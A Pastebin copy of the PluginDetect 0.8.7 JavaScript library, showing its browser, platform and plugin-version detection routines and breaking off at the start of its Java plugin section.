Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var PluginDetect = {
- version: "0.8.7",
- name: "PluginDetect",
- openTag: "<",
- hasOwnProperty: ({}).constructor.prototype.hasOwnProperty,
- hasOwn: function (c, d) {
- var b, a;
- try {
- a = this.hasOwnProperty.call(c, d)
- } catch (b) {}
- return !!a
- },
- rgx: {
- str: /string/i,
- num: /number/i,
- fun: /function/i,
- arr: /array/i,
- any: /Boolean|String|Number|Function|Array|Date|RegExp|Error/i
- },
- toString: ({}).constructor.prototype.toString,
- isPlainObject: function (c) {
- var a = this,
- b;
- if (!c || a.rgx.any.test(a.toString.call(c)) || c.window == c || a.rgx.num.test(a.toString.call(c.nodeType))) {
- return 0
- }
- try {
- if (!a.hasOwn(c, "constructor") && !a.hasOwn(c.constructor.prototype, "isPrototypeOf")) {
- return 0
- }
- } catch (b) {
- return 0
- }
- return 1
- },
- isDefined: function (b) {
- return typeof b != "undefined"
- },
- isArray: function (b) {
- return this.rgx.arr.test(this.toString.call(b))
- },
- isString: function (b) {
- return this.rgx.str.test(this.toString.call(b))
- },
- isNum: function (b) {
- return this.rgx.num.test(this.toString.call(b))
- },
- isStrNum: function (b) {
- return this.isString(b) && (/\d/).test(b)
- },
- isFunc: function (b) {
- return this.rgx.fun.test(this.toString.call(b))
- },
- getNumRegx: /[\d][\d\.\_,\-]*/,
- splitNumRegx: /[\.\_,\-]/g,
- getNum: function (b, c) {
- var d = this,
- a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
- return a ? a[0] : null
- },
- compareNums: function (h, f, d) {
- var e = this,
- c, b, a, g = parseInt;
- if (e.isStrNum(h) && e.isStrNum(f)) {
- if (e.isDefined(d) && d.compareNums) {
- return d.compareNums(h, f)
- }
- c = h.split(e.splitNumRegx);
- b = f.split(e.splitNumRegx);
- for (a = 0; a < Math.min(c.length, b.length); a++) {
- if (g(c[a], 10) > g(b[a], 10)) {
- return 1
- }
- if (g(c[a], 10) < g(b[a], 10)) {
- return -1
- }
- }
- }
- return 0
- },
- formatNum: function (b, c) {
- var d = this,
- a, e;
- if (!d.isStrNum(b)) {
- return null
- }
- if (!d.isNum(c)) {
- c = 4
- }
- c--;
- e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
- for (a = 0; a < 4; a++) {
- if (/^(0+)(.+)$/.test(e[a])) {
- e[a] = RegExp.$2
- }
- if (a > c || !(/\d/).test(e[a])) {
- e[a] = "0"
- }
- }
- return e.slice(0, 4).join(",")
- },
- getPROP: function (d, b, a) {
- var c;
- try {
- if (d) {
- a = d[b]
- }
- } catch (c) {}
- return a
- },
- findNavPlugin: function (h) {
- if (h.dbug) {
- return h.dbug
- }
- if (window.navigator) {
- var d = this,
- n = {
- Find: d.isString(h.find) ? new RegExp(h.find, "i") : h.find,
- Find2: d.isString(h.find2) ? new RegExp(h.find2, "i") : h.find2,
- Avoid: h.avoid ? (d.isString(h.avoid) ? new RegExp(h.avoid, "i") : h.avoid) : 0,
- Num: h.num ? /\d/ : 0
- }, f, c, g, j, m, l, b, a = navigator.mimeTypes,
- k = navigator.plugins,
- o = null;
- if (h.mimes && a) {
- m = d.isArray(h.mimes) ? [].concat(h.mimes) : (d.isString(h.mimes) ? [h.mimes] : []);
- for (f = 0; f < m.length; f++) {
- c = 0;
- try {
- if (d.isString(m[f]) && /[^\s]/.test(m[f])) {
- c = a[m[f]].enabledPlugin
- }
- } catch (j) {}
- if (c) {
- g = d.findNavPlugin_(c, n);
- if (g.obj) {
- o = g.obj
- };
- if (o && !d.dbug) {
- return o
- }
- }
- }
- }
- if (h.plugins && k) {
- l = d.isArray(h.plugins) ? [].concat(h.plugins) : (d.isString(h.plugins) ? [h.plugins] : []);
- for (f = 0; f < l.length; f++) {
- c = 0;
- try {
- if (l[f] && d.isString(l[f])) {
- c = k[l[f]]
- }
- } catch (j) {}
- if (c) {
- g = d.findNavPlugin_(c, n);
- if (g.obj) {
- o = g.obj
- };
- if (o && !d.dbug) {
- return o
- }
- }
- }
- b = k.length;
- if (d.isNum(b)) {
- for (f = 0; f < b; f++) {
- c = 0;
- try {
- c = k[f]
- } catch (j) {}
- if (c) {
- g = d.findNavPlugin_(c, n);
- if (g.obj) {
- o = g.obj
- };
- if (o && !d.dbug) {
- return o
- }
- }
- }
- }
- }
- }
- return o
- },
- findNavPlugin_: function (f, d) {
- var e = this,
- c = f.description || "",
- b = f.name || "",
- a = {};
- if ((d.Find.test(c) && (!d.Find2 || d.Find2.test(b)) && (!d.Num || d.Num.test(RegExp.leftContext + RegExp.rightContext))) || (d.Find.test(b) && (!d.Find2 || d.Find2.test(c)) && (!d.Num || d.Num.test(RegExp.leftContext + RegExp.rightContext)))) {
- if (!d.Avoid || !(d.Avoid.test(c) || d.Avoid.test(b))) {
- a.obj = f
- }
- }
- return a
- },
- getVersionDelimiter: ",",
- findPlugin: function (d) {
- var c = this,
- b, d, a = {
- status: -3,
- plugin: 0
- };
- if (!c.isString(d)) {
- return a
- }
- if (d.length == 1) {
- c.getVersionDelimiter = d;
- return a
- }
- d = d.toLowerCase().replace(/\s/g, "");
- b = c.Plugins[d];
- if (!b || !b.getVersion) {
- return a
- }
- a.plugin = b;
- a.status = 1;
- return a
- },
- getPluginFileVersion: function (d, h) {
- var b = this,
- a, c, i, j, f = -1,
- g;
- if (!d) {
- return h
- }
- if (d.version) {
- a = b.getNum(d.version + "")
- };
- if (!a || !h) {
- return h || a || null
- }
- a = b.formatNum(a);
- h = b.formatNum(h);
- c = h.split(b.splitNumRegx);
- i = a.split(b.splitNumRegx);
- for (j = 0; j < c.length; j++) {
- if (f > -1 && j > f && c[j] != "0") {
- return h
- }
- if (i[j] != c[j]) {
- if (f == -1) {
- f = j
- }
- if (c[j] != "0") {
- return h
- }
- }
- }
- return a
- },
- AXO: (function () {
- var b, a;
- try {
- b = new window.ActiveXObject()
- } catch (a) {}
- return b ? null : window.ActiveXObject
- })(),
- getAXO: function (a) {
- var d = null,
- c, b = this;
- try {
- d = new b.AXO(a)
- } catch (c) {};
- if (d) {
- b.browser.ActiveXEnabled = !0
- }
- return d
- },
- browser: {},
- INIT: function () {
- this.init.library(this)
- },
- init: {
- $: 1,
- hasRun: 0,
- objProperties: function (d, e, c) {
- var a, b = {};
- if (e && c) {
- if (e[c[0]] === 1 && d.hasOwn(e, c[0]) && d.isPlainObject(e)) {
- for (a = 0; a < c.length; a = a + 2) {
- e[c[a]] = c[a + 1];
- b[c[a]] = 1
- }
- }
- for (a in e) {
- if (e[a] && e[a][c[0]] === 1 && d.hasOwn(e, a) && !d.hasOwn(b, a)) {
- this.objProperties(d, e[a], c)
- }
- }
- }
- },
- plugin: function (a, c) {
- var d = this,
- b = d.$;
- if (b.isPlainObject(a) && b.isFunc(a.getVersion)) {
- if (!b.isDefined(a.getVersionDone)) {
- a.installed = null;
- a.version = null;
- a.version0 = null;
- a.getVersionDone = null;
- a.pluginName = c
- }
- d.objProperties(b, a, ["$", b, "$$", a])
- }
- },
- detectIE: function () {
- var init = this,
- $ = init.$,
- browser = $.browser,
- doc = document,
- e, x, tmp, userAgent = window.navigator ? navigator.userAgent || "" : "",
- progid, progid1, progid2;
- browser.ActiveXFilteringEnabled = !1;
- browser.ActiveXEnabled = !1;
- try {
- browser.ActiveXFilteringEnabled = !! window.external.msActiveXFilteringEnabled()
- } catch (e) {}
- progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper", "Scripting.Dictionary"];
- progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl"];
- progid = progid1.concat(progid2);
- for (x = 0; x < progid.length; x++) {
- if ($.getAXO(progid[x]) && !$.dbug) {
- break
- }
- }
- if (browser.ActiveXEnabled && browser.ActiveXFilteringEnabled) {
- for (x = 0; x < progid2.length; x++) {
- if ($.getAXO(progid2[x])) {
- browser.ActiveXFilteringEnabled = !1;
- break
- }
- }
- };
- tmp = doc.documentMode;
- try {
- doc.documentMode = ""
- } catch (e) {}
- browser.isIE = browser.ActiveXEnabled || $.isNum(doc.documentMode) || eval("/*@cc_on!@*/!1");
- try {
- doc.documentMode = tmp
- } catch (e) {};
- browser.verIE = null;
- if (browser.isIE) {
- browser.verIE = ($.isNum(doc.documentMode) && doc.documentMode >= 7 ? doc.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7)
- }
- },
- detectNonIE: function () {
- var f = this,
- d = this.$,
- a = d.browser,
- e = window.navigator ? navigator : {}, c = a.isIE ? "" : e.userAgent || "",
- g = e.vendor || "",
- b = e.product || "";
- a.isGecko = (/Gecko/i).test(b) && (/Gecko\s*\/\s*\d/i).test(c);
- a.verGecko = a.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(c) ? RegExp.$1 : "0.9") : null;
- a.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(c);
- a.verChrome = a.isChrome ? d.formatNum(RegExp.$2) : null;
- a.isSafari = !a.isChrome && ((/Apple/i).test(g) || !g) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(c);
- a.verSafari = a.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(c) ? d.formatNum(RegExp.$1) : null;
- a.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(c);
- a.verOpera = a.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(c) || 1) ? parseFloat(RegExp.$1, 10) : null
- },
- detectPlatform: function () {
- var e = this,
- d = e.$,
- b, a = window.navigator ? navigator.platform || "" : "";
- d.OS = 100;
- if (a) {
- var c = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
- for (b = c.length - 2; b >= 0; b = b - 2) {
- if (c[b] && new RegExp(c[b], "i").test(a)) {
- d.OS = c[b + 1];
- break
- }
- }
- }
- },
- library: function (b) {
- var d = this,
- c = document,
- a;
- d.objProperties(b, b, ["$", b]);
- for (a in b.Plugins) {
- if (b.hasOwn(b.Plugins, a)) {
- d.plugin(b.Plugins[a], a)
- }
- };
- b.PUBLIC.init();
- b.win.init();
- b.head = c.getElementsByTagName("head")[0] || c.getElementsByTagName("body")[0] || c.body || null;
- d.detectPlatform();
- d.detectIE();
- d.detectNonIE();
- d.hasRun = 1
- }
- },
- ev: {
- $: 1,
- handler: function (d, c, b, a) {
- return function () {
- d(c, b, a)
- }
- },
- fPush: function (b, a) {
- var c = this,
- d = c.$;
- if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0])))) {
- a.push(b)
- }
- },
- call0: function (d) {
- var b = this,
- c = b.$,
- a = c.isArray(d) ? d.length : -1;
- if (a > 0 && c.isFunc(d[0])) {
- d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
- } else {
- if (c.isFunc(d)) {
- d(c)
- }
- }
- },
- callArray0: function (a) {
- var b = this,
- d = b.$,
- c;
- if (d.isArray(a)) {
- while (a.length) {
- c = a[0];
- a.splice(0, 1);
- b.call0(c)
- }
- }
- },
- call: function (b) {
- var a = this;
- a.call0(b);
- a.ifDetectDoneCallHndlrs()
- },
- callArray: function (a) {
- var b = this;
- b.callArray0(a);
- b.ifDetectDoneCallHndlrs()
- },
- allDoneHndlrs: [],
- ifDetectDoneCallHndlrs: function () {
- var c = this,
- d = c.$,
- a, b;
- if (!c.allDoneHndlrs.length) {
- return
- }
- if (d.win) {
- if (!d.win.loaded || d.win.loadPrvtHndlrs.length || d.win.loadPblcHndlrs.length) {
- return
- }
- }
- if (d.Plugins) {
- for (a in d.Plugins) {
- b = d.Plugins[a];
- if (d.hasOwn(d.Plugins, a) && b && d.isFunc(b.getVersion)) {
- if (b.OTF == 3 || (b.DoneHndlrs && b.DoneHndlrs.length)) {
- return
- }
- }
- }
- };
- c.callArray0(c.allDoneHndlrs)
- }
- },
- PUBLIC: {
- $: 1,
- init: function () {
- var c = this,
- b = c.$,
- a;
- for (a in c) {
- if (a !== "init" && b.hasOwn(c, a) && b.isFunc(c[a])) {
- b[a] = c[a](b)
- }
- }
- },
- isMinVersion: function (b) {
- var a = function (j, h, e, d) {
- var f = b.findPlugin(j),
- g, c = -1;
- if (f.status < 0) {
- return f.status
- }
- g = f.plugin;
- h = b.formatNum(b.isNum(h) ? h.toString() : (b.isStrNum(h) ? b.getNum(h) : "0"));
- if (g.getVersionDone != 1) {
- g.getVersion(h, e, d);
- if (g.getVersionDone === null) {
- g.getVersionDone = 1
- }
- }
- if (g.installed !== null) {
- c = g.installed <= 0.5 ? g.installed : (g.installed == 0.7 ? 1 : (g.version === null ? 0 : (b.compareNums(g.version, h, g) >= 0 ? 1 : -0.1)))
- };
- return c
- };
- return a
- },
- getVersion: function (b) {
- var a = function (h, e, d) {
- var f = b.findPlugin(h),
- g, c;
- if (f.status < 0) {
- return null
- };
- g = f.plugin;
- if (g.getVersionDone != 1) {
- g.getVersion(null, e, d);
- if (g.getVersionDone === null) {
- g.getVersionDone = 1
- }
- }
- c = (g.version || g.version0);
- c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
- return c
- };
- return a
- },
- onDetectionDone: function (b) {
- var a = function (j, h, d, c) {
- var e = b.findPlugin(j),
- k, g;
- if (e.status == -3) {
- return -1
- }
- g = e.plugin;
- if (!b.isArray(g.DoneHndlrs)) {
- g.DoneHndlrs = []
- };
- if (g.getVersionDone != 1) {
- k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
- }
- if (g.installed != -0.5 && g.installed != 0.5) {
- b.ev.call(h);
- return 1
- }
- b.ev.fPush(h, g.DoneHndlrs);
- return 0
- };
- return a
- },
- hasMimeType: function (b) {
- var a = function (h) {
- if (h && window.navigator && navigator.mimeTypes) {
- var l, k, d, j, g, c = navigator.mimeTypes,
- f = b.isArray(h) ? [].concat(h) : (b.isString(h) ? [h] : []);
- g = f.length;
- for (d = 0; d < g; d++) {
- l = 0;
- try {
- if (b.isString(f[d]) && /[^\s]/.test(f[d])) {
- l = c[f[d]]
- }
- } catch (j) {}
- k = l ? l.enabledPlugin : 0;
- if (k && (k.name || k.description)) {
- return l
- }
- }
- };
- return null
- };
- return a
- },
- z: 0
- },
- codebase: {
- $: 1,
- isDisabled: function () {
- var b = this,
- c = b.$,
- a = c.browser;
- return a.ActiveXEnabled && a.isIE && a.verIE >= 7 ? 0 : 1
- },
- pluginMayBeHanging: function (b) {
- var c = this,
- d = c.$,
- a;
- if (!c.isDisabled() && b && d.isDefined(d.getPROP(b, "readyState")) && d.getPROP(b.firstChild, "object")) {
- a = d.getPROP(b.firstChild, "readyState");
- if (d.isNum(a) && a != 4) {
- return 1
- }
- }
- return 0
- },
- emptyNode: function (b) {
- var a = this,
- c = a.$,
- d;
- try {
- b.innerHTML = ""
- } catch (d) {}
- },
- emptyGarbage: function () {
- var c = this,
- d = c.$,
- f, a, g = c.HTML,
- b = 0;
- if (!g.length) {
- return
- };
- for (a = g.length - 1; a >= c.len; a--) {
- if (g[a] && g[a].span && c.pluginMayBeHanging(g[a].span)) {
- c.emptyNode(g[a].span);
- g[a].span = null;
- b = 1
- }
- }
- c.len = g.length;
- if (b) {
- try {
- window.CollectGarbage()
- } catch (f) {}
- }
- },
- HTML: [],
- len: 0,
- onDone: function (c, b) {
- var a, f = b.HTML,
- d;
- for (a = 0; a < f.length; a++) {
- if (f[a] && f[a].span) {
- b.emptyNode(f[a].span);
- f[a].span = null
- }
- }
- },
- init: function (e) {
- if (!e.init) {
- e.init = 1;
- var c = this,
- d = c.$,
- a, b;
- d.ev.fPush([c.onDone, c], d.win.unloadHndlrs);
- e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
- b = e.classID || e.$$.classID || "";
- e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + d.openTag + "/object>";
- for (a = 0; a < e.Lower.length; a++) {
- e.Lower[a] = d.formatNum(e.Lower[a]);
- e.Upper[a] = d.formatNum(e.Upper[a])
- }
- }
- },
- isActiveXObject: function (i, b) {
- var f = this,
- g = f.$,
- a = 0,
- h, d = i.$$,
- c = document.createElement("span");
- if (i.min && g.compareNums(b, i.min) <= 0) {
- return 1
- }
- if (i.max && g.compareNums(b, i.max) >= 0) {
- return 0
- }
- c.innerHTML = i.tagA + b + i.tagB;
- if (g.getPROP(c.firstChild, "object")) {
- a = 1
- };
- if (a) {
- i.min = b;
- f.HTML.push({
- span: c
- })
- } else {
- i.max = b;
- c.innerHTML = ""
- }
- return a
- },
- convert_: function (f, a, b, e) {
- var d = f.convert[a],
- c = f.$;
- return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) : d
- },
- convert: function (h, c, g) {
- var e = this,
- f = h.$,
- b, a, d;
- c = f.formatNum(c);
- a = {
- v: c,
- x: -1
- };
- if (c) {
- for (b = 0; b < h.Lower.length; b++) {
- d = e.convert_(h, b, h.Lower[b]);
- if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ? e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)) {
- a.v = e.convert_(h, b, c, g);
- a.x = b;
- break
- }
- }
- }
- return a
- },
- isMin: function (g, f) {
- var d = this,
- e = g.$,
- c, b, a = 0;
- if (!e.isStrNum(f) || d.isDisabled()) {
- return a
- }
- d.init(g);
- if (!g.L) {
- g.L = {};
- for (c = 0; c < g.Lower.length; c++) {
- if (d.isActiveXObject(g, g.Lower[c])) {
- g.L = d.convert(g, g.Lower[c]);
- break
- }
- }
- }
- if (g.L.v) {
- b = d.convert(g, f, 1);
- if (b.x >= 0) {
- a = (g.L.x == b.x ? d.isActiveXObject(g, b.v) : e.compareNums(f, g.L.v) <= 0) ? 1 : -1
- }
- };
- return a
- },
- search: function (g) {
- var k = this,
- h = k.$,
- i = g.$$,
- b = 0,
- c;
- c = g.searchHasRun || k.isDisabled() ? 1 : 0;
- g.searchHasRun = 1;
- if (c) {
- return g.version || null
- }
- k.init(g);
- var o, n, m, j = function (q, t) {
- var r = [].concat(f),
- s;
- r[q] = t;
- s = k.isActiveXObject(g, r.join(","));
- if (s) {
- b = 1;
- f[q] = t
- } else {
- p[q] = t
- }
- return s
- }, d = g.DIGITMAX,
- e, a, l = 99999999,
- f = [0, 0, 0, 0],
- p = [0, 0, 0, 0];
- for (o = 0; o < p.length; o++) {
- f[o] = Math.floor(g.DIGITMIN[o]) || 0;
- e = f.join(",");
- a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
- for (m = 0; m < d.length; m++) {
- if (h.isArray(d[m])) {
- d[m].push(0);
- if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.Upper[m]) < 0) {
- p[o] = Math.floor(d[m][o])
- }
- }
- }
- for (n = 0; n < 30; n++) {
- if (p[o] - f[o] <= 16) {
- for (m = p[o]; m >= f[o] + (o ? 1 : 0); m--) {
- if (j(o, m)) {
- break
- }
- }
- break
- }
- j(o, Math.round((p[o] + f[o]) / 2))
- }
- if (!b) {
- break
- }
- p[o] = f[o]
- }
- if (b) {
- g.version = k.convert(g, f.join(",")).v
- };
- return g.version || null
- }
- },
- win: {
- $: 1,
- loaded: false,
- hasRun: 0,
- init: function () {
- var b = this,
- a = b.$;
- if (!b.hasRun) {
- b.hasRun = 1;
- b.onLoad = a.ev.handler(b.$$onLoad, a);
- b.onUnload = a.ev.handler(b.$$onUnload, a);
- b.addEvent("load", b.onLoad);
- b.addEvent("unload", b.onUnload)
- }
- },
- addEvent: function (c, b) {
- var e = this,
- d = e.$,
- a = window;
- if (d.isFunc(b)) {
- if (a.addEventListener) {
- a.addEventListener(c, b, false)
- } else {
- if (a.attachEvent) {
- a.attachEvent("on" + c, b)
- } else {
- a["on" + c] = e.concatFn(b, a["on" + c])
- }
- }
- }
- },
- concatFn: function (d, c) {
- return function () {
- d();
- if (typeof c == "function") {
- c()
- }
- }
- },
- loadPrvtHndlrs: [],
- loadPblcHndlrs: [],
- unloadHndlrs: [],
- $$onUnload: function (b) {
- if (b && b.win) {
- b.ev.callArray(b.win.unloadHndlrs);
- for (var a in b) {
- b[a] = 0
- }
- b = 0
- }
- },
- count: 0,
- countMax: 1,
- intervalLength: 10,
- $$onLoad: function (a) {
- if (!a || a.win.loaded) {
- return
- }
- var b = a.win;
- if (b.count < b.countMax && b.loadPrvtHndlrs.length) {
- setTimeout(b.onLoad, b.intervalLength)
- } else {
- b.loaded = true;
- a.ev.callArray(b.loadPrvtHndlrs);
- a.ev.callArray(b.loadPblcHndlrs)
- }
- b.count++
- }
- },
- DOM: {
- $: 1,
- isEnabled: {
- $: 1,
- objectTag: function () {
- var a = this.$;
- return a.browser.isIE ? a.browser.ActiveXEnabled : 1
- },
- objectTagUsingActiveX: function () {
- return this.$.browser.ActiveXEnabled
- },
- objectProperty: function () {
- var a = this.$;
- return a.browser.isIE && a.browser.verIE >= 7 ? 1 : 0
- }
- },
- div: null,
- divID: "plugindetect",
- divWidth: 300,
- getDiv: function () {
- var a = this;
- return a.div || document.getElementById(a.divID) || null
- },
- initDiv: function () {
- var b = this,
- c = b.$,
- a;
- if (!b.div) {
- a = b.getDiv();
- if (a) {
- b.div = a
- } else {
- b.div = document.createElement("div");
- b.div.id = b.divID;
- b.setStyle(b.div, b.getStyle.div());
- b.insertDivInBody(b.div)
- }
- c.ev.fPush([b.onWinUnloadEmptyDiv, b], c.win.unloadHndlrs)
- }
- },
- pluginSize: 1,
- altHTML: " ",
- emptyNode: function (c) {
- var b = this,
- d = b.$,
- a, f;
- if (c && (/div|span/i).test(c.tagName || "")) {
- if (d.browser.isIE) {
- b.setStyle(c, ["display", "none"])
- }
- try {
- c.innerHTML = ""
- } catch (f) {}
- }
- },
- onWinUnloadEmptyDiv: function (f, d) {
- var b = d.getDiv(),
- a, c, g;
- if (b) {
- if (b.childNodes) {
- for (a = b.childNodes.length - 1; a >= 0; a--) {
- c = b.childNodes[a];
- d.emptyNode(c)
- }
- try {
- b.innerHTML = ""
- } catch (g) {}
- }
- if (b.parentNode) {
- try {
- b.parentNode.removeChild(b)
- } catch (g) {}
- b = null;
- d.div = null
- }
- }
- },
- width: function () {
- var g = this,
- e = g.DOM,
- f = e.$,
- d = g.span,
- b, c, a = -1;
- b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
- c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
- return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
- },
- obj: function (b) {
- var d = this,
- c = d.span,
- a = c && c.firstChild ? c.firstChild : null;
- return a
- },
- readyState: function () {
- var b = this,
- a = b.DOM.$;
- return a.browser.isIE && a.isDefined(a.getPROP(b.span, "readyState")) ? a.getPROP(b.obj(), "readyState") : b.undefined
- },
- objectProperty: function () {
- var d = this,
- b = d.DOM,
- c = b.$,
- a;
- if (b.isEnabled.objectProperty()) {
- a = c.getPROP(d.obj(), "object")
- }
- return a
- },
- getTagStatus: function (b, m, r, p, f, h) {
- var s = this,
- d = s.$,
- q;
- if (!b || !b.span) {
- return -2
- }
- var k = b.width(),
- c = b.readyState(),
- a = b.objectProperty();
- if (a) {
- return 1.5
- }
- var g = /clsid\s*\:/i,
- o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.outerHTML || "") ? p : 0),
- i = r && !g.test(r.outerHTML || "") ? r : (p && !g.test(p.outerHTML || "") ? p : 0),
- l = b && g.test(b.outerHTML || "") ? o : i;
- if (!m || !m.span || !l || !l.span) {
- return 0
- }
- var j = l.width(),
- n = m.width(),
- t = l.readyState();
- if (k < 0 || j < 0 || n <= s.pluginSize) {
- return 0
- }
- if (h && !b.pi && d.isDefined(a) && d.browser.isIE && b.tagName == l.tagName && b.time <= l.time && k === j && c === 0 && t !== 0) {
- b.pi = 1
- }
- if (j < n) {
- return b.pi ? -0.1 : 0
- }
- if (k >= n) {
- if (!b.winLoaded && d.win.loaded) {
- return b.pi ? -0.5 : -1
- }
- if (d.isNum(f)) {
- if (!d.isNum(b.count2)) {
- b.count2 = f
- }
- if (f - b.count2 > 0) {
- return b.pi ? -0.5 : -1
- }
- }
- }
- try {
- if (k == s.pluginSize && (!d.browser.isIE || c === 4)) {
- if (!b.winLoaded && d.win.loaded) {
- return 1
- }
- if (b.winLoaded && d.isNum(f)) {
- if (!d.isNum(b.count)) {
- b.count = f
- }
- if (f - b.count >= 5) {
- return 1
- }
- }
- }
- } catch (q) {}
- return b.pi ? -0.1 : 0
- },
- setStyle: function (b, h) {
- var c = this,
- d = c.$,
- g = b.style,
- a, f;
- if (g && h) {
- for (a = 0; a < h.length; a = a + 2) {
- try {
- g[h[a]] = h[a + 1]
- } catch (f) {}
- }
- }
- },
- getStyle: {
- $: 1,
- span: function () {
- var a = this.$.DOM;
- return [].concat(this.Default).concat(["display", "inline", "fontSize", (a.pluginSize + 3) + "px", "lineHeight", (a.pluginSize + 3) + "px"])
- },
- div: function () {
- var a = this.$.DOM;
- return [].concat(this.Default).concat(["display", "block", "width", a.divWidth + "px", "height", (a.pluginSize + 3) + "px", "fontSize", (a.pluginSize + 3) + "px", "lineHeight", (a.pluginSize + 3) + "px", "position", "absolute", "right", "9999px", "top", "-9999px"])
- },
- plugin: function (b) {
- var a = this.$.DOM;
- return "background-color:transparent;background-image:none;vertical-align:baseline;outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (b ? "hidden;" : "visible;") + "display:inline;font-size:" + (a.pluginSize + 3) + "px;line-height:" + (a.pluginSize + 3) + "px;"
- },
- Default: ["backgroundColor", "transparent", "backgroundImage", "none", "verticalAlign", "baseline", "outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"]
- },
- insertDivInBody: function (a, h) {
- var j = this,
- d = j.$,
- g, b = "pd33993399",
- c = null,
- i = h ? window.top.document : window.document,
- f = i.getElementsByTagName("body")[0] || i.body;
- if (!f) {
- try {
- i.write('<div id="' + b + '">.' + d.openTag + "/div>");
- c = i.getElementById(b)
- } catch (g) {}
- }
- f = i.getElementsByTagName("body")[0] || i.body;
- if (f) {
- f.insertBefore(a, f.firstChild);
- if (c) {
- f.removeChild(c)
- }
- }
- },
- insert: function (b, i, g, h, c, p, n) {
- var r = this,
- f = r.$,
- q, s = document,
- u, l, o = s.createElement("span"),
- j, a;
- if (!f.isDefined(h)) {
- h = ""
- }
- if (f.isString(b) && (/[^\s]/).test(b)) {
- b = b.toLowerCase().replace(/\s/g, "");
- u = f.openTag + b + " ";
- u += 'style="' + r.getStyle.plugin(p) + '" ';
- var k = 1,
- t = 1;
- for (j = 0; j < i.length; j = j + 2) {
- if (/[^\s]/.test(i[j + 1])) {
- u += i[j] + '="' + i[j + 1] + '" '
- }
- if ((/width/i).test(i[j])) {
- k = 0
- }
- if ((/height/i).test(i[j])) {
- t = 0
- }
- }
- u += (k ? 'width="' + r.pluginSize + '" ' : "") + (t ? 'height="' + r.pluginSize + '" ' : "");
- u += ">";
- for (j = 0; j < g.length; j = j + 2) {
- if (/[^\s]/.test(g[j + 1])) {
- u += f.openTag + 'param name="' + g[j] + '" value="' + g[j + 1] + '" />'
- }
- }
- u += h + f.openTag + "/" + b + ">"
- } else {
- b = "";
- u = h
- } if (!n) {
- r.initDiv()
- }
- var m = n || r.getDiv();
- l = {
- span: null,
- winLoaded: f.win.loaded,
- tagName: b,
- outerHTML: u,
- DOM: r,
- time: new Date().getTime(),
- width: r.width,
- obj: r.obj,
- readyState: r.readyState,
- objectProperty: r.objectProperty
- };
- if (m && m.parentNode) {
- r.setStyle(o, r.getStyle.span());
- m.appendChild(o);
- try {
- o.innerHTML = u
- } catch (q) {};
- l.span = o;
- l.winLoaded = f.win.loaded
- }
- return l
- }
- },
- file: {
- $: 1,
- any: "fileStorageAny999",
- valid: "fileStorageValid999",
- save: function (d, f, c) {
- var b = this,
- e = b.$,
- a;
- if (d && e.isDefined(c)) {
- if (!d[b.any]) {
- d[b.any] = []
- }
- if (!d[b.valid]) {
- d[b.valid] = []
- }
- d[b.any].push(c);
- a = b.split(f, c);
- if (a) {
- d[b.valid].push(a)
- }
- }
- },
- getValidLength: function (a) {
- return a && a[this.valid] ? a[this.valid].length : 0
- },
- getAnyLength: function (a) {
- return a && a[this.any] ? a[this.any].length : 0
- },
- getValid: function (c, a) {
- var b = this;
- return c && c[b.valid] ? b.get(c[b.valid], a) : null
- },
- getAny: function (c, a) {
- var b = this;
- return c && c[b.any] ? b.get(c[b.any], a) : null
- },
- get: function (d, a) {
- var c = d.length - 1,
- b = this.$.isNum(a) ? a : c;
- return (b < 0 || b > c) ? null : d[b]
- },
- split: function (g, c) {
- var b = this,
- e = b.$,
- f = null,
- a, d;
- g = g ? g.replace(".", "\.") : "";
- d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
- if (e.isString(c) && d.test(c)) {
- a = (RegExp.$1).split("/");
- f = {
- name: a[a.length - 1],
- ext: RegExp.$2,
- full: c
- };
- a[a.length - 1] = "";
- f.path = a.join("/")
- }
- return f
- },
- z: 0
- },
- Plugins: {
- java: {
- $: 1,
- mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
